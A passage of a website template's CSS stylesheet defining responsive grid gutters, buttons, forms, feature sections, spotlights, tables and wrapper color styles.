}
.row.gtr-uniform {
margin-top: -1.5em;
}
.row.gtr-uniform > * {
padding-top: 1.5em;
}
.row.gtr-150 {
margin-top: 0;
margin-left: -2.25em;
}
.row.gtr-150 > * {
padding: 0 0 0 2.25em;
}
.row.gtr-150.gtr-uniform {
margin-top: -2.25em;
}
.row.gtr-150.gtr-uniform > * {
padding-top: 2.25em;
}
.row.gtr-200 {
margin-top: 0;
margin-left: -3em;
}
.row.gtr-200 > * {
padding: 0 0 0 3em;
}
.row.gtr-200.gtr-uniform {
margin-top: -3em;
}
.row.gtr-200.gtr-uniform > * {
padding-top: 3em;
}
}
@media screen and (max-width: 480px) {
.row {
display: flex;
flex-wrap: wrap;
box-sizing: border-box;
align-items: stretch;
}
.row > * {
box-sizing: border-box;
}
.row.gtr-uniform > * > :last-child {
margin-bottom: 0;
}
.row.aln-left {
justify-content: flex-start;
}
.row.aln-center {
justify-content: center;
}
.row.aln-right {
justify-content: flex-end;
}
.row.aln-top {
align-items: flex-start;
}
.row.aln-middle {
align-items: center;
}
.row.aln-bottom {
align-items: flex-end;
}
.row > .imp-xsmall {
order: -1;
}
.row > .col-1-xsmall {
width: 8.33333%;
}
.row > .off-1-xsmall {
margin-left: 8.33333%;
}
.row > .col-2-xsmall {
width: 16.66667%;
}
.row > .off-2-xsmall {
margin-left: 16.66667%;
}
.row > .col-3-xsmall {
width: 25%;
}
.row > .off-3-xsmall {
margin-left: 25%;
}
.row > .col-4-xsmall {
width: 33.33333%;
}
.row > .off-4-xsmall {
margin-left: 33.33333%;
}
.row > .col-5-xsmall {
width: 41.66667%;
}
.row > .off-5-xsmall {
margin-left: 41.66667%;
}
.row > .col-6-xsmall {
width: 50%;
}
.row > .off-6-xsmall {
margin-left: 50%;
}
.row > .col-7-xsmall {
width: 58.33333%;
}
.row > .off-7-xsmall {
margin-left: 58.33333%;
}
.row > .col-8-xsmall {
width: 66.66667%;
}
.row > .off-8-xsmall {
margin-left: 66.66667%;
}
.row > .col-9-xsmall {
width: 75%;
}
.row > .off-9-xsmall {
margin-left: 75%;
}
.row > .col-10-xsmall {
width: 83.33333%;
}
.row > .off-10-xsmall {
margin-left: 83.33333%;
}
.row > .col-11-xsmall {
width: 91.66667%;
}
.row > .off-11-xsmall {
margin-left: 91.66667%;
}
.row > .col-12-xsmall {
width: 100%;
}
.row > .off-12-xsmall {
margin-left: 100%;
}
.row.gtr-0 {
margin-top: 0;
margin-left: 0em;
}
.row.gtr-0 > * {
padding: 0 0 0 0em;
}
.row.gtr-0.gtr-uniform {
margin-top: 0em;
}
.row.gtr-0.gtr-uniform > * {
padding-top: 0em;
}
.row.gtr-25 {
margin-top: 0;
margin-left: -0.375em;
}
.row.gtr-25 > * {
padding: 0 0 0 0.375em;
}
.row.gtr-25.gtr-uniform {
margin-top: -0.375em;
}
.row.gtr-25.gtr-uniform > * {
padding-top: 0.375em;
}
.row.gtr-50 {
margin-top: 0;
margin-left: -0.75em;
}
.row.gtr-50 > * {
padding: 0 0 0 0.75em;
}
.row.gtr-50.gtr-uniform {
margin-top: -0.75em;
}
.row.gtr-50.gtr-uniform > * {
padding-top: 0.75em;
}
.row {
margin-top: 0;
margin-left: -1.5em;
}
.row > * {
padding: 0 0 0 1.5em;
}
.row.gtr-uniform {
margin-top: -1.5em;
}
.row.gtr-uniform > * {
padding-top: 1.5em;
}
.row.gtr-150 {
margin-top: 0;
margin-left: -2.25em;
}
.row.gtr-150 > * {
padding: 0 0 0 2.25em;
}
.row.gtr-150.gtr-uniform {
margin-top: -2.25em;
}
.row.gtr-150.gtr-uniform > * {
padding-top: 2.25em;
}
.row.gtr-200 {
margin-top: 0;
margin-left: -3em;
}
.row.gtr-200 > * {
padding: 0 0 0 3em;
}
.row.gtr-200.gtr-uniform {
margin-top: -3em;
}
.row.gtr-200.gtr-uniform > * {
padding-top: 3em;
}
}
/* Box */
.box {
border-radius: 0.25em;
border: solid 1px rgba(255, 255, 255, 0.15);
margin-bottom: 2em;
padding: 1.5em;
}
.box > :last-child,
.box > :last-child > :last-child,
.box > :last-child > :last-child > :last-child {
margin-bottom: 0;
}
.box.alt {
border: 0;
border-radius: 0;
padding: 0;
}
/* Button */
input[type="submit"],
input[type="reset"],
input[type="button"],
button,
.button {
-moz-appearance: none;
-webkit-appearance: none;
-ms-appearance: none;
appearance: none;
-moz-transition: border-color 0.2s ease;
-webkit-transition: border-color 0.2s ease;
-ms-transition: border-color 0.2s ease;
transition: border-color 0.2s ease;
background-color: transparent;
border: solid 1px !important;
border-color: rgba(255, 255, 255, 0.15) !important;
border-radius: 3em;
color: #ffffff !important;
cursor: pointer;
display: inline-block;
font-size: 0.6em;
font-weight: bold;
height: calc(4.75em + 2px);
letter-spacing: 0.25em;
line-height: 4.75em;
outline: 0;
padding: 0 3.75em;
position: relative;
text-align: center;
text-decoration: none;
text-transform: uppercase;
white-space: nowrap;
}
input[type="submit"]:after,
input[type="reset"]:after,
input[type="button"]:after,
button:after,
.button:after {
-moz-transform: scale(0.25);
-webkit-transform: scale(0.25);
-ms-transform: scale(0.25);
transform: scale(0.25);
pointer-events: none;
-moz-transition: opacity 0.2s ease, -moz-transform 0.2s ease;
-webkit-transition: opacity 0.2s ease, -webkit-transform 0.2s ease;
-ms-transition: opacity 0.2s ease, -ms-transform 0.2s ease;
transition: opacity 0.2s ease, transform 0.2s ease;
background: #ffffff;
border-radius: 3em;
content: '';
height: 100%;
left: 0;
opacity: 0;
position: absolute;
top: 0;
width: 100%;
}
input[type="submit"].icon:before,
input[type="reset"].icon:before,
input[type="button"].icon:before,
button.icon:before,
.button.icon:before {
margin-right: 0.75em;
}
input[type="submit"].fit,
input[type="reset"].fit,
input[type="button"].fit,
button.fit,
.button.fit {
width: 100%;
}
input[type="submit"].small,
input[type="reset"].small,
input[type="button"].small,
button.small,
.button.small {
font-size: 0.4em;
}
input[type="submit"].large,
input[type="reset"].large,
input[type="button"].large,
button.large,
.button.large {
font-size: 0.8em;
}
input[type="submit"].primary,
input[type="reset"].primary,
input[type="button"].primary,
button.primary,
.button.primary {
background-color: #ffffff;
color: #312450 !important;
}
input[type="submit"].primary:after,
input[type="reset"].primary:after,
input[type="button"].primary:after,
button.primary:after,
.button.primary:after {
display: none;
}
input[type="submit"].disabled, input[type="submit"]:disabled,
input[type="reset"].disabled,
input[type="reset"]:disabled,
input[type="button"].disabled,
input[type="button"]:disabled,
button.disabled,
button:disabled,
.button.disabled,
.button:disabled {
cursor: default;
opacity: 0.5;
pointer-events: none;
}
input[type="submit"]:hover,
input[type="reset"]:hover,
input[type="button"]:hover,
button:hover,
.button:hover {
border-color: rgba(255, 255, 255, 0.55) !important;
}
input[type="submit"]:hover:after,
input[type="reset"]:hover:after,
input[type="button"]:hover:after,
button:hover:after,
.button:hover:after {
opacity: 0.05;
-moz-transform: scale(1);
-webkit-transform: scale(1);
-ms-transform: scale(1);
transform: scale(1);
}
input[type="submit"]:hover:active,
input[type="reset"]:hover:active,
input[type="button"]:hover:active,
button:hover:active,
.button:hover:active {
border-color: #ffffff !important;
}
input[type="submit"]:hover:active:after,
input[type="reset"]:hover:active:after,
input[type="button"]:hover:active:after,
button:hover:active:after,
.button:hover:active:after {
opacity: 0.1;
}
/* Features */
.features {
display: -moz-flex;
display: -webkit-flex;
display: -ms-flex;
display: flex;
-moz-flex-wrap: wrap;
-webkit-flex-wrap: wrap;
-ms-flex-wrap: wrap;
flex-wrap: wrap;
border-radius: 0.25em;
border: solid 1px rgba(255, 255, 255, 0.15);
background: rgba(255, 255, 255, 0.05);
margin: 0 0 2em 0;
}
.features section {
padding: 3.5em 3em 1em 7em ;
width: 50%;
border-top: solid 1px rgba(255, 255, 255, 0.15);
position: relative;
}
.features section:nth-child(-n + 2) {
border-top-width: 0;
}
.features section:nth-child(2n) {
border-left: solid 1px rgba(255, 255, 255, 0.15);
}
.features section .icon {
-moz-transition: opacity 0.5s ease, -moz-transform 0.5s ease;
-webkit-transition: opacity 0.5s ease, -webkit-transform 0.5s ease;
-ms-transition: opacity 0.5s ease, -ms-transform 0.5s ease;
transition: opacity 0.5s ease, transform 0.5s ease;
-moz-transition-delay: 1s;
-webkit-transition-delay: 1s;
-ms-transition-delay: 1s;
transition-delay: 1s;
-moz-transform: scale(1);
-webkit-transform: scale(1);
-ms-transform: scale(1);
transform: scale(1);
position: absolute;
left: 3em;
top: 3em;
opacity: 1;
}
.features section:nth-child(1) .icon {
-moz-transition-delay: 0.15s;
-webkit-transition-delay: 0.15s;
-ms-transition-delay: 0.15s;
transition-delay: 0.15s;
}
.features section:nth-child(2) .icon {
-moz-transition-delay: 0.3s;
-webkit-transition-delay: 0.3s;
-ms-transition-delay: 0.3s;
transition-delay: 0.3s;
}
.features section:nth-child(3) .icon {
-moz-transition-delay: 0.45s;
-webkit-transition-delay: 0.45s;
-ms-transition-delay: 0.45s;
transition-delay: 0.45s;
}
.features section:nth-child(4) .icon {
-moz-transition-delay: 0.6s;
-webkit-transition-delay: 0.6s;
-ms-transition-delay: 0.6s;
transition-delay: 0.6s;
}
.features section:nth-child(5) .icon {
-moz-transition-delay: 0.75s;
-webkit-transition-delay: 0.75s;
-ms-transition-delay: 0.75s;
transition-delay: 0.75s;
}
.features section:nth-child(6) .icon {
-moz-transition-delay: 0.9s;
-webkit-transition-delay: 0.9s;
-ms-transition-delay: 0.9s;
transition-delay: 0.9s;
}
.features section:nth-child(7) .icon {
-moz-transition-delay: 1.05s;
-webkit-transition-delay: 1.05s;
-ms-transition-delay: 1.05s;
transition-delay: 1.05s;
}
.features section:nth-child(8) .icon {
-moz-transition-delay: 1.2s;
-webkit-transition-delay: 1.2s;
-ms-transition-delay: 1.2s;
transition-delay: 1.2s;
}
.features section:nth-child(9) .icon {
-moz-transition-delay: 1.35s;
-webkit-transition-delay: 1.35s;
-ms-transition-delay: 1.35s;
transition-delay: 1.35s;
}
.features section:nth-child(10) .icon {
-moz-transition-delay: 1.5s;
-webkit-transition-delay: 1.5s;
-ms-transition-delay: 1.5s;
transition-delay: 1.5s;
}
.features section:nth-child(11) .icon {
-moz-transition-delay: 1.65s;
-webkit-transition-delay: 1.65s;
-ms-transition-delay: 1.65s;
transition-delay: 1.65s;
}
.features section:nth-child(12) .icon {
-moz-transition-delay: 1.8s;
-webkit-transition-delay: 1.8s;
-ms-transition-delay: 1.8s;
transition-delay: 1.8s;
}
.features section:nth-child(13) .icon {
-moz-transition-delay: 1.95s;
-webkit-transition-delay: 1.95s;
-ms-transition-delay: 1.95s;
transition-delay: 1.95s;
}
.features section:nth-child(14) .icon {
-moz-transition-delay: 2.1s;
-webkit-transition-delay: 2.1s;
-ms-transition-delay: 2.1s;
transition-delay: 2.1s;
}
.features section:nth-child(15) .icon {
-moz-transition-delay: 2.25s;
-webkit-transition-delay: 2.25s;
-ms-transition-delay: 2.25s;
transition-delay: 2.25s;
}
.features section:nth-child(16) .icon {
-moz-transition-delay: 2.4s;
-webkit-transition-delay: 2.4s;
-ms-transition-delay: 2.4s;
transition-delay: 2.4s;
}
.features section:nth-child(17) .icon {
-moz-transition-delay: 2.55s;
-webkit-transition-delay: 2.55s;
-ms-transition-delay: 2.55s;
transition-delay: 2.55s;
}
.features section:nth-child(18) .icon {
-moz-transition-delay: 2.7s;
-webkit-transition-delay: 2.7s;
-ms-transition-delay: 2.7s;
transition-delay: 2.7s;
}
.features section:nth-child(19) .icon {
-moz-transition-delay: 2.85s;
-webkit-transition-delay: 2.85s;
-ms-transition-delay: 2.85s;
transition-delay: 2.85s;
}
.features section:nth-child(20) .icon {
-moz-transition-delay: 3s;
-webkit-transition-delay: 3s;
-ms-transition-delay: 3s;
transition-delay: 3s;
}
.features.inactive section .icon {
-moz-transform: scale(0.5);
-webkit-transform: scale(0.5);
-ms-transform: scale(0.5);
transform: scale(0.5);
opacity: 0;
}
@media screen and (max-width: 980px) {
.features {
display: block;
}
.features section {
border-top-width: 1px !important;
border-left-width: 0 !important;
width: 100%;
}
.features section:first-child {
border-top-width: 0 !important;
}
}
@media screen and (max-width: 736px) {
.features section {
padding: 2.5em 1.5em 0.1em 5.5em ;
}
.features section .icon {
left: 1.5em;
top: 2em;
}
}
@media screen and (max-width: 480px) {
.features section {
padding: 2em 1.5em 0.1em 1.5em ;
}
.features section .icon {
left: 0;
position: relative;
top: 0;
}
}
/* Form */
form {
margin: 0 0 2em 0;
}
form > :last-child {
margin-bottom: 0;
}
form > .fields {
display: -moz-flex;
display: -webkit-flex;
display: -ms-flex;
display: flex;
-moz-flex-wrap: wrap;
-webkit-flex-wrap: wrap;
-ms-flex-wrap: wrap;
flex-wrap: wrap;
width: calc(100% + 3em);
margin: -1.5em 0 2em -1.5em;
}
form > .fields > .field {
-moz-flex-grow: 0;
-webkit-flex-grow: 0;
-ms-flex-grow: 0;
flex-grow: 0;
-moz-flex-shrink: 0;
-webkit-flex-shrink: 0;
-ms-flex-shrink: 0;
flex-shrink: 0;
padding: 1.5em 0 0 1.5em;
width: calc(100% - 1.5em);
}
form > .fields > .field.half {
width: calc(50% - 0.75em);
}
form > .fields > .field.third {
width: calc(100%/3 - 0.5em);
}
form > .fields > .field.quarter {
width: calc(25% - 0.375em);
}
@media screen and (max-width: 480px) {
form > .fields {
width: calc(100% + 3em);
margin: -1.5em 0 2em -1.5em;
}
form > .fields > .field {
padding: 1.5em 0 0 1.5em;
width: calc(100% - 1.5em);
}
form > .fields > .field.half {
width: calc(100% - 1.5em);
}
form > .fields > .field.third {
width: calc(100% - 1.5em);
}
form > .fields > .field.quarter {
width: calc(100% - 1.5em);
}
}
label {
color: #ffffff;
font-weight: bold;
line-height: 1.5;
margin: 0 0 0.7em 0;
display: block;
font-size: 1.1em;
}
input[type="text"],
input[type="password"],
input[type="email"],
input[type="tel"],
select,
textarea {
-moz-appearance: none;
-webkit-appearance: none;
-ms-appearance: none;
appearance: none;
background: rgba(255, 255, 255, 0.05);
border-radius: 0.25em;
border: none;
border: solid 1px rgba(255, 255, 255, 0.15);
color: inherit;
display: block;
outline: 0;
padding: 0 1em;
text-decoration: none;
width: 100%;
}
input[type="text"]:invalid,
input[type="password"]:invalid,
input[type="email"]:invalid,
input[type="tel"]:invalid,
select:invalid,
textarea:invalid {
box-shadow: none;
}
input[type="text"]:focus,
input[type="password"]:focus,
input[type="email"]:focus,
input[type="tel"]:focus,
select:focus,
textarea:focus {
border-color: #ffffff;
box-shadow: 0 0 0 1px #ffffff;
}
select {
background-image: url("data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' width='40' height='40' preserveAspectRatio='none' viewBox='0 0 40 40'%3E%3Cpath d='M9.4,12.3l10.4,10.4l10.4-10.4c0.2-0.2,0.5-0.4,0.9-0.4c0.3,0,0.6,0.1,0.9,0.4l3.3,3.3c0.2,0.2,0.4,0.5,0.4,0.9 c0,0.4-0.1,0.6-0.4,0.9L20.7,31.9c-0.2,0.2-0.5,0.4-0.9,0.4c-0.3,0-0.6-0.1-0.9-0.4L4.3,17.3c-0.2-0.2-0.4-0.5-0.4-0.9 c0-0.4,0.1-0.6,0.4-0.9l3.3-3.3c0.2-0.2,0.5-0.4,0.9-0.4S9.1,12.1,9.4,12.3z' fill='rgba(255, 255, 255, 0.15)' /%3E%3C/svg%3E");
background-size: 1.25rem;
background-repeat: no-repeat;
background-position: calc(100% - 1rem) center;
height: 2.75em;
padding-right: 2.75em;
text-overflow: ellipsis;
}
select option {
color: #ffffff;
background: #312450;
}
select:focus::-ms-value {
background-color: transparent;
}
select::-ms-expand {
display: none;
}
input[type="text"],
input[type="password"],
input[type="email"],
select {
height: 2.75em;
}
textarea {
padding: 0.75em 1em;
}
body.is-ie textarea {
min-height: 10em;
}
input[type="checkbox"],
input[type="radio"] {
-moz-appearance: none;
-webkit-appearance: none;
-ms-appearance: none;
appearance: none;
display: block;
float: left;
margin-right: -2em;
opacity: 0;
width: 1em;
z-index: -1;
}
input[type="checkbox"] + label,
input[type="radio"] + label {
text-decoration: none;
color: rgba(255, 255, 255, 0.55);
cursor: pointer;
display: inline-block;
font-size: 1em;
font-weight: normal;
padding-left: 2.4em;
padding-right: 0.75em;
position: relative;
}
input[type="checkbox"] + label:before,
input[type="radio"] + label:before {
-moz-osx-font-smoothing: grayscale;
-webkit-font-smoothing: antialiased;
display: inline-block;
font-style: normal;
font-variant: normal;
text-rendering: auto;
line-height: 1;
text-transform: none !important;
font-family: 'Font Awesome 5 Free';
font-weight: 900;
}
input[type="checkbox"] + label:before,
input[type="radio"] + label:before {
background: rgba(255, 255, 255, 0.05);
border-radius: 0.25em;
border: solid 1px rgba(255, 255, 255, 0.15);
content: '';
display: inline-block;
font-size: 0.8em;
height: 2.0625em;
left: 0;
line-height: 2.0625em;
position: absolute;
text-align: center;
top: 0;
width: 2.0625em;
}
input[type="checkbox"]:checked + label:before,
input[type="radio"]:checked + label:before {
background: #ffffff;
border-color: #ffffff;
color: #b74e91;
content: '\f00c';
}
input[type="checkbox"]:focus + label:before,
input[type="radio"]:focus + label:before {
border-color: #ffffff;
box-shadow: 0 0 0 1px #ffffff;
}
input[type="checkbox"] + label:before {
border-radius: 0.25em;
}
input[type="radio"] + label:before {
border-radius: 100%;
}
::-webkit-input-placeholder {
color: rgba(255, 255, 255, 0.35) !important;
opacity: 1.0;
}
:-moz-placeholder {
color: rgba(255, 255, 255, 0.35) !important;
opacity: 1.0;
}
::-moz-placeholder {
color: rgba(255, 255, 255, 0.35) !important;
opacity: 1.0;
}
:-ms-input-placeholder {
color: rgba(255, 255, 255, 0.35) !important;
opacity: 1.0;
}
/* Icon */
.icon {
text-decoration: none;
border-bottom: none;
position: relative;
}
.icon:before {
-moz-osx-font-smoothing: grayscale;
-webkit-font-smoothing: antialiased;
display: inline-block;
font-style: normal;
font-variant: normal;
text-rendering: auto;
line-height: 1;
text-transform: none !important;
font-family: 'Font Awesome 5 Free';
font-weight: 400;
}
.icon > .label {
display: none;
}
.icon:before {
line-height: inherit;
}
.icon.solid:before {
font-weight: 900;
}
.icon.brands:before {
font-family: 'Font Awesome 5 Brands';
}
.icon.major {
width: 2.5em;
height: 2.5em;
display: block;
background: #111111;
border-radius: 100%;
color: #FF124f;
text-align: center;
line-height: 2.5em;
margin: 0 0 1.3em 0;
}
.icon.major:before {
font-size: 1.25em;
}
.wrapper.style1 .icon.major:before {
color: #FF124f;
}
.wrapper.style1-alt .icon.major:before {
color: #FF124f;
}
.wrapper.style2 .icon.major:before {
color: #FF124f;
}
.wrapper.style2-alt .icon.major:before {
color: #FF124f;
}
.wrapper.style3 .icon.major:before {
color: #FF124f;
}
.wrapper.style3-alt .icon.major:before {
color: #FF124f;
}
/* Image */
.image {
border-radius: 0.25em;
border: 0;
display: inline-block;
position: relative;
}
.image img {
border-radius: 0.25em;
display: block;
}
.image.left, .image.right {
max-width: 40%;
}
.image.left img, .image.right img {
width: 100%;
}
.image.left {
float: left;
margin: 0 1.5em 1em 0;
top: 0.25em;
}
.image.right {
float: right;
margin: 0 0 1em 1.5em;
top: 0.25em;
}
.image.fit {
display: block;
margin: 0 0 2em 0;
width: 100%;
}
.image.fit img {
width: 100%;
}
.image.main {
display: block;
margin: 0 0 3em 0;
width: 100%;
}
.image.main img {
width: 100%;
}
/* List */
ol {
list-style: decimal;
margin: 0 0 2em 0;
padding-left: 1.25em;
}
ol li {
padding-left: 0.25em;
}
ul {
list-style: disc;
margin: 0 0 2em 0;
padding-left: 1em;
}
ul li {
padding-left: 0.5em;
}
ul.alt {
list-style: none;
padding-left: 0;
}
ul.alt li {
border-top: solid 1px rgba(255, 255, 255, 0.15);
padding: 0.5em 0;
}
ul.alt li:first-child {
border-top: 0;
padding-top: 0;
}
dl {
margin: 0 0 2em 0;
}
dl dt {
display: block;
font-weight: bold;
margin: 0 0 1em 0;
}
dl dd {
margin-left: 2em;
}
/* Actions */
ul.actions {
display: -moz-flex;
display: -webkit-flex;
display: -ms-flex;
display: flex;
cursor: default;
list-style: none;
margin-left: -1em;
padding-left: 0;
}
ul.actions li {
padding: 0 0 0 1em;
vertical-align: middle;
}
ul.actions.special {
-moz-justify-content: center;
-webkit-justify-content: center;
-ms-justify-content: center;
justify-content: center;
width: 100%;
margin-left: 0;
}
ul.actions.special li:first-child {
padding-left: 0;
}
ul.actions.stacked {
-moz-flex-direction: column;
-webkit-flex-direction: column;
-ms-flex-direction: column;
flex-direction: column;
margin-left: 0;
}
ul.actions.stacked li {
padding: 1.3em 0 0 0;
}
ul.actions.stacked li:first-child {
padding-top: 0;
}
ul.actions.fit {
width: calc(100% + 1em);
}
ul.actions.fit li {
-moz-flex-grow: 1;
-webkit-flex-grow: 1;
-ms-flex-grow: 1;
flex-grow: 1;
-moz-flex-shrink: 1;
-webkit-flex-shrink: 1;
-ms-flex-shrink: 1;
flex-shrink: 1;
width: 100%;
}
ul.actions.fit li > * {
width: 100%;
}
ul.actions.fit.stacked {
width: 100%;
}
@media screen and (max-width: 480px) {
ul.actions:not(.fixed) {
-moz-flex-direction: column;
-webkit-flex-direction: column;
-ms-flex-direction: column;
flex-direction: column;
margin-left: 0;
width: 100% !important;
}
ul.actions:not(.fixed) li {
-moz-flex-grow: 1;
-webkit-flex-grow: 1;
-ms-flex-grow: 1;
flex-grow: 1;
-moz-flex-shrink: 1;
-webkit-flex-shrink: 1;
-ms-flex-shrink: 1;
flex-shrink: 1;
padding: 1em 0 0 0;
text-align: center;
width: 100%;
}
ul.actions:not(.fixed) li > * {
width: 100%;
}
ul.actions:not(.fixed) li:first-child {
padding-top: 0;
}
ul.actions:not(.fixed) li input[type="submit"],
ul.actions:not(.fixed) li input[type="reset"],
ul.actions:not(.fixed) li input[type="button"],
ul.actions:not(.fixed) li button,
ul.actions:not(.fixed) li .button {
width: 100%;
}
ul.actions:not(.fixed) li input[type="submit"].icon:before,
ul.actions:not(.fixed) li input[type="reset"].icon:before,
ul.actions:not(.fixed) li input[type="button"].icon:before,
ul.actions:not(.fixed) li button.icon:before,
ul.actions:not(.fixed) li .button.icon:before {
margin-left: -0.5rem;
}
}
/* Contact */
ul.contact {
list-style: none;
padding: 0;
}
ul.contact > li {
padding: 0;
margin: 1.5em 0 0 0;
}
ul.contact > li:first-child {
margin-top: 0;
}
/* Icons */
ul.icons {
cursor: default;
list-style: none;
padding-left: 0;
}
ul.icons li {
display: inline-block;
padding: 0 0.75em 0 0;
}
ul.icons li:last-child {
padding-right: 0;
}
ul.icons li > a, ul.icons li > span {
border: 0;
}
ul.icons li > a .label, ul.icons li > span .label {
display: none;
}
/* Menu */
ul.menu {
list-style: none;
padding: 0;
}
ul.menu > li {
border-left: solid 1px rgba(255, 255, 255, 0.15);
display: inline-block;
line-height: 1;
margin-left: 1.5em;
padding: 0 0 0 1.5em;
}
ul.menu > li:first-child {
border-left: 0;
margin: 0;
padding-left: 0;
}
@media screen and (max-width: 480px) {
ul.menu > li {
border-left: 0;
display: block;
line-height: inherit;
margin: 0.5em 0 0 0;
padding-left: 0;
}
}
/* Section/Article */
section.special, article.special {
text-align: center;
}
header p {
color: rgba(255, 255, 255, 0.35);
position: relative;
margin: 0 0 1.5em 0;
}
header h2 + p {
font-size: 1.25em;
margin-top: -1em;
line-height: 1.5em;
}
header h3 + p {
font-size: 1.1em;
margin-top: -0.8em;
line-height: 1.5em;
}
header h4 + p,
header h5 + p,
header h6 + p {
font-size: 0.9em;
margin-top: -0.6em;
line-height: 1.5em;
}
/* Split */
.split {
display: -moz-flex;
display: -webkit-flex;
display: -ms-flex;
display: flex;
}
.split > * {
width: calc(50% - 2.5em);
}
.split > :nth-child(2n - 1) {
padding-right: 2.5em;
border-right: solid 1px rgba(255, 255, 255, 0.15);
}
.split > :nth-child(2n) {
padding-left: 2.5em;
}
.split.style1 > :nth-child(2n - 1) {
width: calc(66.66666% - 2.5em);
}
.split.style1 > :nth-child(2n) {
width: calc(33.33333% - 2.5em);
}
@media screen and (max-width: 1680px) {
.split > * {
width: calc(50% - 2em);
}
.split > :nth-child(2n - 1) {
padding-right: 2em;
}
.split > :nth-child(2n) {
padding-left: 2em;
}
.split.style1 > :nth-child(2n - 1) {
width: calc(66.66666% - 2em);
}
.split.style1 > :nth-child(2n) {
width: calc(33.33333% - 2em);
}
}
@media screen and (max-width: 980px) {
.split {
display: block;
}
.split > * {
border-top: solid 1px rgba(255, 255, 255, 0.15);
margin: 4em 0 0 0;
padding: 4em 0 0 0;
width: 100% !important;
}
.split > :nth-child(2n - 1) {
border-right: 0;
padding-right: 0;
}
.split > :nth-child(2n) {
padding-left: 0;
}
.split > :first-child {
border-top: 0;
margin-top: 0;
padding-top: 0;
}
}
@media screen and (max-width: 736px) {
.split > * {
margin: 3em 0 0 0;
padding: 3em 0 0 0;
}
}
/* Spotlights */
.spotlights > section {
display: -moz-flex;
display: -webkit-flex;
display: -ms-flex;
display: flex;
-moz-flex-direction: row;
-webkit-flex-direction: row;
-ms-flex-direction: row;
flex-direction: row;
min-height: 22.5em;
}
body.is-ie .spotlights > section {
min-height: 0;
}
.spotlights > section > .image {
background-position: center center;
background-size: cover;
border-radius: 0;
display: block;
position: relative;
width: 25em;
}
.spotlights > section > .image img {
border-radius: 0;
display: block;
}
.spotlights > section > .image:before {
-moz-transition: opacity 1s ease;
-webkit-transition: opacity 1s ease;
-ms-transition: opacity 1s ease;
transition: opacity 1s ease;
background: #FF124f;
content: '';
display: block;
height: 100%;
left: 0;
opacity: 0;
position: absolute;
top: 0;
width: 100%;
}
.spotlights > section > .content {
padding: 4em 5em 2em 5em ;
display: -moz-flex;
display: -webkit-flex;
display: -ms-flex;
display: flex;
-moz-flex-direction: column;
-webkit-flex-direction: column;
-ms-flex-direction: column;
flex-direction: column;
-moz-justify-content: center;
-webkit-justify-content: center;
-ms-justify-content: center;
justify-content: center;
width: 50em;
-ms-flex: 1;
}
.spotlights > section > .content > .inner {
-moz-transform: translateX(0) translateY(0);
-webkit-transform: translateX(0) translateY(0);
-ms-transform: translateX(0) translateY(0);
transform: translateX(0) translateY(0);
-moz-transition: opacity 1s ease, -moz-transform 1s ease;
-webkit-transition: opacity 1s ease, -webkit-transform 1s ease;
-ms-transition: opacity 1s ease, -ms-transform 1s ease;
transition: opacity 1s ease, transform 1s ease;
opacity: 1;
}
.spotlights > section:nth-child(2) {
background-color: rgba(0, 0, 0, 0.05);
}
.spotlights > section:nth-child(3) {
background-color: rgba(0, 0, 0, 0.1);
}
.spotlights > section.inactive > .image:before,
body.is-preload .spotlights > section > .image:before {
opacity: 1;
}
.spotlights > section.inactive > .content > .inner,
body.is-preload .spotlights > section > .content > .inner {
-moz-transform: translateX(-1em);
-webkit-transform: translateX(-1em);
-ms-transform: translateX(-1em);
transform: translateX(-1em);
opacity: 0;
}
@media screen and (max-width: 1680px) {
.spotlights > section > .content {
padding: 4em 4em 2em 4em ;
}
}
@media screen and (max-width: 980px) {
.spotlights > section {
display: block;
}
.spotlights > section > .image {
width: 100%;
height: 50vh;
}
.spotlights > section > .content {
width: 100%;
}
.spotlights > section.inactive > .content > .inner,
body.is-preload .spotlights > section > .content > .inner {
-moz-transform: translateY(1em);
-webkit-transform: translateY(1em);
-ms-transform: translateY(1em);
transform: translateY(1em);
}
}
@media screen and (max-width: 736px) {
.spotlights > section > .image {
height: 50vh;
min-height: 15em;
}
.spotlights > section > .content {
padding: 3em 2em 1em 2em ;
}
}
/* Table */
.table-wrapper {
-webkit-overflow-scrolling: touch;
overflow-x: auto;
}
table {
margin: 0 0 2em 0;
width: 100%;
}
table tbody tr {
border: solid 1px rgba(255, 255, 255, 0.15);
border-left: 0;
border-right: 0;
}
table tbody tr:nth-child(2n + 1) {
background-color: rgba(255, 255, 255, 0.05);
}
table td {
padding: 0.75em 0.75em;
}
table th {
color: #ffffff;
font-size: 1em;
font-weight: bold;
padding: 0 0.75em 0.75em 0.75em;
text-align: left;
}
table thead {
border-bottom: solid 2px rgba(255, 255, 255, 0.15);
}
table tfoot {
border-top: solid 2px rgba(255, 255, 255, 0.15);
}
table.alt {
border-collapse: separate;
}
table.alt tbody tr td {
border: solid 1px rgba(255, 255, 255, 0.15);
border-left-width: 0;
border-top-width: 0;
}
table.alt tbody tr td:first-child {
border-left-width: 1px;
}
table.alt tbody tr:first-child td {
border-top-width: 1px;
}
table.alt thead {
border-bottom: 0;
}
table.alt tfoot {
border-top: 0;
}
/* Wrapper */
.wrapper {
position: relative;
}
.wrapper > .inner {
padding: 5em 5em 3em 5em ;
max-width: 100%;
width: 75em;
}
@media screen and (max-width: 1680px) {
.wrapper > .inner {
padding: 4em 4em 2em 4em ;
}
}
@media screen and (max-width: 1280px) {
.wrapper > .inner {
width: 100%;
}
}
@media screen and (max-width: 736px) {
.wrapper > .inner {
padding: 3em 2em 1em 2em ;
}
}
.wrapper.alt {
background-color: #261c3e;
}
.wrapper.style1 {
background-color: #111111;
}
.wrapper.style1-alt {
background-color: #111111;
}
.wrapper.style2 {
background-color: #E5E5E5;
}
.wrapper.style2-alt {
background-color: #FF124f;
}
.wrapper.style3 {
background-color: #9d9d9d;
}
.wrapper.style3-alt {
background-color: #9d9d9d;
}
.wrapper.fullscreen {
display: -moz-flex;
display: -webkit-flex;
display: -ms-flex;
display: flex;
-moz-flex-direction: column;
-webkit-flex-direction: column;
-ms-flex-direction: column;
flex-direction: column;
-moz-justify-content: center;
-webkit-justify-content: center;
-ms-justify-content: center;
justify-content: center;
min-height: 100vh;
}
body.is-ie .wrapper.fullscreen {
height: 100vh;
}
@media screen and (max-width: 1280px) {
.wrapper.fullscreen {
min-height: calc(100vh - 2.5em);
}
body.is-ie .wrapper.fullscreen {
height: calc(100vh - 2.5em);
}
}
@media screen and (max-width: 736px) {
.wrapper.fullscreen {
padding: 2em 0;
min-height: 0;
}
